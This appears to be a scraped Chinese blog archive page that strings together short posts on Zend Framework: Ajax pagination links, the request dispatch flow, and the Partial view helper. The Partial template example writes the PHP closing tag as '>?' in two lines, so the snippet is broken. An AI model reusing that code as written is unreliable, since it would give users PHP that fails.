都有isAjaxLink之类的参数。生成一个ajax请求的分页连接；这种思考增加了服务器端代码工作量。

思路总结：
1、连接请求，是否是ajax请求，还是普通link请求，不是在服务器端设定；而是在客户端变换。

2、请求内容的返回，服务器端可以根据ajax请求，还是普通link请求，来做不同处理。

好了，现在这个聪明的用户直接在浏览器上输入http://project-name/product/list，Ok 没问题，让他自由输入去~~

原帖：http://bbs.phpchina.com/viewthread.php?tid=56702&pid=406076&page=1&extra=page%3D1#pid406076

Related items

• [转]详细介绍php Zend Framework中的render使用方法
• 今日到南京上网，发现偶尔打开的网页出现如下代码
• zend framework错误或者异常信息捕捉
• jQuery AJAX in Zend Framework
• Zend Framework V1.5 中的新特性

您可能也喜欢：

jQuery AJAX in Zend Framework

Zend Framework V1.5 中的新特性

zend framework错误或者异常信息捕捉

[转]详细介绍php Zend Framework中的render使用方法

无觅

这个图是ZF文档中的，7.2节的图。由于中文文档还没有翻译，所以先搞个图看看，这个图画的非常好，非常明朗。

我已经用不同的颜色标注了不同的部分。主要流程是绿色块，黄色部分是钩子，这种蓝色代表Request和Response对象，紫红色部分判断是否
dispath完毕。基本方向就是：Request -> Router -> Dispatch -> Send Response

Related items

• [转]详细介绍php Zend Framework中的render使用方法
• 今日到南京上网，发现偶尔打开的网页出现如下代码
• zend framework错误或者异常信息捕捉
• jQuery AJAX in Zend Framework
• Zend Framework V1.5 中的新特性

您可能也喜欢：

jQuery AJAX in Zend Framework

Zend Framework V1.5 中的新特性

zend framework错误或者异常信息捕捉

【转帖】Zend Framework中Ajax的一个使用技巧

无觅

Partial 视图助手被用来在它自己的变量范围内解析特定的模板。主要用法是（解析）可重用的模板片段，你不需要操心变量名的冲突。另外，它们允许你从特定的模块指定 partial 视图脚本。

Partial 的兄弟 PartialLoop 视图助手允许传递可迭代数据并为每个条目解析一部分。

例 37.2. Partials 的基本用法

<?php // partial.phtml ?>
<ul>
<li>From: <?= $this->escape($this->from) >?</li>
<li>Subject: <?= $this->escape($this->subject) >?</li>
</ul>

<?= $this->partial('partial.phtml', array(
'from' => 'Team Framework',
'subject' => 'view partials')); ?>

<ul>
<li>From: Team Framework</li>
<li>Subject: view partials</li>
</ul>

其他的可以参考：占位符 

Related items

• [转]详细介绍php Zend Framework中的render使用方法
• 今日到南京上网，发现偶尔打开的网页出现如下代码
• zend framework错误或者异常信息捕捉
• jQuery AJAX in Zend Framework
• Zend Framework V1.5 中的新特性

您可能也喜欢：

淘宝开放了api，另我兴奋，但是研究之后，发现问题多多！

seo关键词研究工具集锦

研究网站风格头疼了几天！

Zend Framework V1.5 中的新特性

无觅